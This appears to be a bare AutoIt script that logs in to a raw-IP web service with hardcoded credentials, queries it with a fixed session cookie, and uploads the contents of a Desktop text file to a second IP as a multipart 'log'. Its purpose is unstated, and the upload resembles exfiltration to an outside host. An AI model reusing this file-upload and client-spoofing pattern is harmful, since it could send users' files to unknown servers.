$sEmail="[email protected]"
$sPass="123"
$url1="http://46.4.50.219:8000/auth"
$url2="http://46.4.50.219:8000/info"
$url3="http://5.9.145.19:8000/log"
Login()
Info()
fLog()
Func Login()
$oHTTP = ObjCreate("WinHttp.WinHttpRequest.5.1")
$oHTTP.Open("POST",$url1)
$oHTTP.setTimeouts(5000, 5000, 15000, 15000)
$oHTTP.SetRequestHeader("Content-Type","application/x-www-form-urlencoded")
$oHTTP.SetRequestHeader("Content-Length","90")
$oHTTP.SetRequestHeader("Connection", "Keep-alive")
$oHTTP.SetRequestHeader("Accept-Encoding", "gzip, deflate")
$oHTTP.SetRequestHeader("Accept-Language", "ru-RU,en,*")
$oHTTP.SetRequestHeader("User-Agent", "Mozilla/5.0")
$oHTTP.SetRequestHeader("Host","46.4.50.219:8000")
$oHTTP.Send("v=47&email="&$sEmail&"&password="&$sPass&"&hash=441d1fe10f0e1")
$oHTTP.WaitForResponse
$resp=$oHTTP.ResponseText
ConsoleWrite($resp & @LF)
EndFunc
Func Info()
$oHTTP = ObjCreate("WinHttp.WinHttpRequest.5.1")
$oHTTP.Open("POST",$url2)
$oHTTP.setTimeouts(5000, 5000, 15000, 15000)
$oHTTP.SetRequestHeader("Content-Type","application/x-www-form-urlencoded")
$oHTTP.SetRequestHeader("Cookie","user=""MTE4OA==|1412756166|003ac41dceeb80e7818b471a1807622e14c46738""")
$oHTTP.SetRequestHeader("Content-Length","4")
$oHTTP.SetRequestHeader("Connection", "Keep-alive")
$oHTTP.SetRequestHeader("Accept-Encoding", "gzip, deflate")
$oHTTP.SetRequestHeader("Accept-Language", "uk-UA,en,*")
$oHTTP.SetRequestHeader("User-Agent", "Mozilla/5.0")
$oHTTP.SetRequestHeader("Host","46.4.50.219:8000")
$oHTTP.Send("v=47")
$oHTTP.WaitForResponse
$resp=$oHTTP.ResponseText
ConsoleWrite($resp & @LF)
EndFunc
Func fLog()
$data = FileRead(@DesktopDir & "\1.txt")
$oHTTP = ObjCreate("WinHttp.WinHttpRequest.5.1")
$oHTTP.Open("POST",$url3)
$oHTTP.setTimeouts(5000, 5000, 15000, 15000)
$oHTTP.SetRequestHeader("Content-Type","multipart/form-data; boundary=""boundary_.oOo._ODM0MQ==MTgzNTQ=MzIzMTg=""")
$oHTTP.SetRequestHeader("MIME-Version","1.0")
$oHTTP.SetRequestHeader("Content-Length","1327")
$oHTTP.SetRequestHeader("Connection", "Keep-alive")
$oHTTP.SetRequestHeader("Accept-Encoding", "gzip, deflate")
$oHTTP.SetRequestHeader("Accept-Language", "uk-UA,en,*")
$oHTTP.SetRequestHeader("User-Agent", "Mozilla/5.0")
$oHTTP.SetRequestHeader("Host","5.9.145.19:8000")
$oHTTP.Send($data)
$oHTTP.WaitForResponse
$resp=$oHTTP.ResponseText
ConsoleWrite($resp & @LF)
EndFunc